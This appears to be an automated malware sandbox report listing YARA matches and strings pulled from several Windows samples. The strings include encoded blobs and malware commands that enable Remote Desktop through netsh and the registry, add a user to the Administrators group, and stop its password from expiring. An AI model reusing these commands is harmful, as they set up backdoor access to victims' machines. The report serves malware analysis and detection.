Source: Yara match	File source: 17.2.m0wsoI3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.1518652176.00000000005BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.1518022147.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: m0wsoI3.exe PID: 5132, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Contains functionality to start a terminal service

Source: M6gQuZPvgY.exe	String found in binary or memory: net start termservice
Source: M6gQuZPvgY.exe, 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: net start termservice
Source: M6gQuZPvgY.exe, 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: rapes.exe	String found in binary or memory: net start termservice
Source: rapes.exe, 00000002.00000002.1039110891.0000000000241000.00000040.00000001.01000000.00000007.sdmp	String found in binary or memory: net start termservice
Source: rapes.exe, 00000002.00000002.1039110891.0000000000241000.00000040.00000001.01000000.00000007.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: rapes.exe	String found in binary or memory: net start termservice
Source: rapes.exe, 00000003.00000002.1046270812.0000000000241000.00000040.00000001.01000000.00000007.sdmp	String found in binary or memory: net start termservice
Source: rapes.exe, 00000003.00000002.1046270812.0000000000241000.00000040.00000001.01000000.00000007.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: amnew.exe	String found in binary or memory: net start termservice
Source: amnew.exe, 0000000D.00000000.1311776357.0000000000991000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: net start termservice
Source: amnew.exe, 0000000D.00000000.1311776357.0000000000991000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setce0b89c831d45810d856da111e87cdbfc1ec479e5342a25940592acf24703eb297fe1526eb5d0adb2c58ee424dc8c89bd08e41OX62IhKuFI7qGQCjPgu0N4GqJCji5 TWIzZeejLghCVm1Lx=PWTzJy==WCPm9FWqLWQtaO==NWKtaO==QX21JRnjQ McGx==1rK191LwDcYXTN==W4YHSDfyMaY6NTb9fj3ue2PQNJaldpSAf7CdN1Xv5cYn8CPafkHke2V3KrSqV56o1U==W4YHSDfyMaY6NTb9fj3ue2PQNJaldpSAf7CdN1Xv5cYn8CPafkHke2V3H1esdJ D11ydSVPi59EM5DLhezvBe2naP1GvW7Gi lTY5q==WqKu06QlFAaAAvMGLBbHLz3uO3u7W4YHSDfyMaY6NTb9fj3ue2PQNJaldpSAf7CdN1Xv5cYn8CPafkHke2V3KrSqerKvWEzpEpL WLywW1Le4NP=W4YHSDfyMaY6NTb9fj3ue2PQNJaldpSAf7CdN1Xv5cYn8CPafkHke2V3H1esdJ D11ydR0ji4wz LjZh2DPtfw==LZKUOTLNMabzMRnuMN==ZIux y==WIYUSy==T4KVc0F7frB7e6F7d7B70q 701x7eKB7f0T71KP701N7dLN7d627enP=07ymWA7h4wA1SZnefzZfeGnY07ymWA7h4wz=06mq A7h4wz=1Ht=1Xt=1Xx=1XB=V0uq9e==cLG1 BqsDm==cLG1 FO3Doa=117m1Kmt06QleLByd1CqgqaxN7u28UXXRKB+RKF+N5qtaUfm4dPoMChsKA==hE==LrKv8VS6RU==e67m9EywE98d6Dm=c6Kz9kXpEpLnTDnhT6K1QkHX3N2eO0bogDPoVWVc2A==WLywW1Le4KUa8Dv2SZOCRZSdMSbf8E47fjO=S1Oq kG=U6uA EXv5SwYCBn71d==TZCGSy==WKuvWEGdMSYc8UzegEe=TKYkaEavAvgeSd==SZOIODNxSEaXQMAMTTDQfjfVhQ==Sqa1WEXjRM8dTUy=VqYzaEarW6Yx8EawS6Yu90TsX6avOEXjRM8dTUy=OHtzJxSYF fXIN==eqx=f6x=S6YvaEXr6s4N9UraRfvogWnQ11ydeqRA1qYz9Q3hQNUaIvr8e0Pp2Gvo5XXpNV1yNWPuIQ2qFUeE907XRM8TFRHef0vqf2bQ106qQlCrd7yuIUTe6wH0CDV7eTO4LmH84KBeQBCrc0mm9kHqRJ3bKkPLN0ar6wYn8zRJhUvgRir83LyocZOmfKaw9gasQTUe8zRogEDg1WQDskXGFUduIQ2qDI3=NWPOze==R7Ck h2uNqexWu==S6YvaEXr6s4N9UraRfvcfHri10KdfJmAdmY5IVf06o4f60ziOUPteGLkO66g1ZR=W5aUSCXKPuQU7kzaekLye2VQ3q6oW5W5ZICw9lTv4SA6KZZifEPV2XzEO0YhZHOAd1q2aEXvLcImTN==S6Yu FXXRNMHSTRa00ykWEXjRSki5jjheTZqfHvo37OXfqe9g1dxJRKwFtXVHw7UOS2=N1Kv8UPsRwXmW5aUSCXKPuQU7kzaekLye2VQ3q6oW5W5ZICw9lTv4SA6PTVegDPfYmbaP069S3 TXJyQQDzTKKUyNYm=W5aUSCXKPuQo6kHneZrO2XGmCHC9W5WDfqakWVP IcIs5TDtdUHreGvVNJWl1JWAXqalWUaGJq==ZHpxJBC=TKKnVVXp6vQe8EHeej8uOl8IP1KrdKW5c0YvTKKnVVXp6vQe8EHeej8uOlbIP1KrdKW5c0YvW4YHSDfyMaY6NTb9fj3ue2PQNJaldpSAf7BhQjT ITYr7jLjgCTgfnDf261=WLywWFXg6u8a6TK=OnpyLO==OnpzJe==OnpyKe==OnpzKO==S7Kz kXr6uMU5Tn ZE==Qnd7erKvWEzpEpLnTU8aN6hhKrGi 0vo3MAlCzZbLz3keSq9KmpnGgDX3M4e60LPLAybMiO7PKSoKD==LmNhOVjm6sL=KmpnGgDvRM7 KGNnFy==WKY4WVLw3wYl6zVahDO=N0K5WUPY6woo6krkeDfehSroP0YrfJWEc03vWUSdDK2i6DK6Ld==Kk==e672aETs6S7 FUC6OUKbPA==e7F u==equvWEaqU6K6Vkae5cT NDvUe0PV0FroP0ur0ZR=OHpxJBCXEJn=OHpxJBCXE L=OHpxJBCXE P=OHpxJBCXES1=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termser
Source: amnew.exe, 0000000D.00000002.1325500672.0000000000991000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: net start termservice
Source: amnew.exe, 0000000D.00000002.1325500672.0000000000991000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setce0b89c831d45810d856da111e87cdbfc1ec479e5342a25940592acf24703eb297fe1526eb5d0adb2c58ee424dc8c89bd08e41OX62IhKuFI7qGQCjPgu0N4GqJCji5 TWIzZeejLghCVm1Lx=PWTzJy==WCPm9FWqLWQtaO==NWKtaO==QX21JRnjQ McGx==1rK191LwDcYXTN==W4YHSDfyMaY6NTb9fj3ue2PQNJaldpSAf7CdN1Xv5cYn8CPafkHke2V3KrSqV56o1U==W4YHSDfyMaY6NTb9fj3ue2PQNJaldpSAf7CdN1Xv5cYn8CPafkHke2V3H1esdJ D11ydSVPi59EM5DLhezvBe2naP1GvW7Gi lTY5q==WqKu06QlFAaAAvMGLBbHLz3uO3u7W4YHSDfyMaY6NTb9fj3ue2PQNJaldpSAf7CdN1Xv5cYn8CPafkHke2V3KrSqerKvWEzpEpL WLywW1Le4NP=W4YHSDfyMaY6NTb9fj3ue2PQNJaldpSAf7CdN1Xv5cYn8CPafkHke2V3H1esdJ D11ydR0ji4wz LjZh2DPtfw==LZKUOTLNMabzMRnuMN==ZIux y==WIYUSy==T4KVc0F7frB7e6F7d7B70q 701x7eKB7f0T71KP701N7dLN7d627enP=07ymWA7h4wA1SZnefzZfeGnY07ymWA7h4wz=06mq A7h4wz=1Ht=1Xt=1Xx=1XB=V0uq9e==cLG1 BqsDm==cLG1 FO3Doa=117m1Kmt06QleLByd1CqgqaxN7u28UXXRKB+RKF+N5qtaUfm4dPoMChsKA==hE==LrKv8VS6RU==e67m9EywE98d6Dm=c6Kz9kXpEpLnTDnhT6K1QkHX3N2eO0bogDPoVWVc2A==WLywW1Le4KUa8Dv2SZOCRZSdMSbf8E47fjO=S1Oq kG=U6uA EXv5SwYCBn71d==TZCGSy==WKuvWEGdMSYc8UzegEe=TKYkaEavAvgeSd==SZOIODNxSEaXQMAMTTDQfjfVhQ==Sqa1WEXjRM8dTUy=VqYzaEarW6Yx8EawS6Yu90TsX6avOEXjRM8dTUy=OHtzJxSYF fXIN==eqx=f6x=S6YvaEXr6s4N9UraRfvogWnQ11ydeqRA1qYz9Q3hQNUaIvr8e0Pp2Gvo5XXpNV1yNWPuIQ2qFUeE907XRM8TFRHef0vqf2bQ106qQlCrd7yuIUTe6wH0CDV7eTO4LmH84KBeQBCrc0mm9kHqRJ3bKkPLN0ar6wYn8zRJhUvgRir83LyocZOmfKaw9gasQTUe8zRogEDg1WQDskXGFUduIQ2qDI3=NWPOze==R7Ck h2uNqexWu==S6YvaEXr6s4N9UraRfvcfHri10KdfJmAdmY5IVf06o4f60ziOUPteGLkO66g1ZR=W5aUSCXKPuQU7kzaekLye2VQ3q6oW5W5ZICw9lTv4SA6KZZifEPV2XzEO0YhZHOAd1q2aEXvLcImTN==S6Yu FXXRNMHSTRa00ykWEXjRSki5jjheTZqfHvo37OXfqe9g1dxJRKwFtXVHw7UOS2=N1Kv8UPsRwXmW5aUSCXKPuQU7kzaekLye2VQ3q6oW5W5ZICw9lTv4SA6PTVegDPfYmbaP069S3 TXJyQQDzTKKUyNYm=W5aUSCXKPuQo6kHneZrO2XGmCHC9W5WDfqakWVP IcIs5TDtdUHreGvVNJWl1JWAXqalWUaGJq==ZHpxJBC=TKKnVVXp6vQe8EHeej8uOl8IP1KrdKW5c0YvTKKnVVXp6vQe8EHeej8uOlbIP1KrdKW5c0YvW4YHSDfyMaY6NTb9fj3ue2PQNJaldpSAf7BhQjT ITYr7jLjgCTgfnDf261=WLywWFXg6u8a6TK=OnpyLO==OnpzJe==OnpyKe==OnpzKO==S7Kz kXr6uMU5Tn ZE==Qnd7erKvWEzpEpLnTU8aN6hhKrGi 0vo3MAlCzZbLz3keSq9KmpnGgDX3M4e60LPLAybMiO7PKSoKD==LmNhOVjm6sL=KmpnGgDvRM7 KGNnFy==WKY4WVLw3wYl6zVahDO=N0K5WUPY6woo6krkeDfehSroP0YrfJWEc03vWUSdDK2i6DK6Ld==Kk==e672aETs6S7 FUC6OUKbPA==e7F u==equvWEaqU6K6Vkae5cT NDvUe0PV0FroP0ur0ZR=OHpxJBCXEJn=OHpxJBCXE L=OHpxJBCXE P=OHpxJBCXES1=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termser
Source: amnew.exe, 0000000D.00000003.1322682890.0000000001106000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: net start termservice
Source: amnew.exe, 0000000D.00000003.1322682890.0000000001106000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: hE==LrKv8VS6RU==e67m9EywE98d6Dm=c6Kz9kXpEpLnTDnhT6K1QkHX3N2eO0bogDPoVWVc2A==WLywW1Le4KUa8Dv2SZOCRZSdMSbf8E47fjO=S1Oq kG=U6uA EXv5SwYCBn71d==TZCGSy==WKuvWEGdMSYc8UzegEe=TKYkaEavAvgeSd==SZOIODNxSEaXQMAMTTDQfjfVhQ==Sqa1WEXjRM8dTUy=VqYzaEarW6Yx8EawS6Yu90TsX6avOEXjRM8dTUy=OHtzJxSYF fXIN==eqx=f6x=S6YvaEXr6s4N9UraRfvogWnQ11ydeqRA1qYz9Q3hQNUaIvr8e0Pp2Gvo5XXpNV1yNWPuIQ2qFUeE907XRM8TFRHef0vqf2bQ106qQlCrd7yuIUTe6wH0CDV7eTO4LmH84KBeQBCrc0mm9kHqRJ3bKkPLN0ar6wYn8zRJhUvgRir83LyocZOmfKaw9gasQTUe8zRogEDg1WQDskXGFUduIQ2qDI3=NWPOze==R7Ck h2uNqexWu==S6YvaEXr6s4N9UraRfvcfHri10KdfJmAdmY5IVf06o4f60ziOUPteGLkO66g1ZR=W5aUSCXKPuQU7kzaekLye2VQ3q6oW5W5ZICw9lTv4SA6KZZifEPV2XzEO0YhZHOAd1q2aEXvLcImTN==S6Yu FXXRNMHSTRa00ykWEXjRSki5jjheTZqfHvo37OXfqe9g1dxJRKwFtXVHw7UOS2=N1Kv8UPsRwXmW5aUSCXKPuQU7kzaekLye2VQ3q6oW5W5ZICw9lTv4SA6PTVegDPfYmbaP069S3 TXJyQQDzTKKUyNYm=W5aUSCXKPuQo6kHneZrO2XGmCHC9W5WDfqakWVP IcIs5TDtdUHreGvVNJWl1JWAXqalWUaGJq==ZHpxJBC=TKKnVVXp6vQe8EHeej8uOl8IP1KrdKW5c0YvTKKnVVXp6vQe8EHeej8uOlbIP1KrdKW5c0YvW4YHSDfyMaY6NTb9fj3ue2PQNJaldpSAf7BhQjT ITYr7jLjgCTgfnDf261=WLywWFXg6u8a6TK=OnpyLO==OnpzJe==OnpyKe==OnpzKO==S7Kz kXr6uMU5Tn ZE==Qnd7erKvWEzpEpLnTU8aN6hhKrGi 0vo3MAlCzZbLz3keSq9KmpnGgDX3M4e60LPLAybMiO7PKSoKD==LmNhOVjm6sL=KmpnGgDvRM7 KGNnFy==WKY4WVLw3wYl6zVahDO=N0K5WUPY6woo6krkeDfehSroP0YrfJWEc03vWUSdDK2i6DK6Ld==Kk==e672aETs6S7 FUC6OUKbPA==e7F u==equvWEaqU6K6Vkae5cT NDvUe0PV0FroP0ur0ZR=OHpxJBCXEJn=OHpxJBCXE L=OHpxJBCXE P=OHpxJBCXES1=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice start= autonet start termservice" /add /y" "net user "" /addnet localgroup "Administrators" "'" SET PasswordExpires=FALSEWMIC USERACCOUNT WHERE "Name = ''" SET 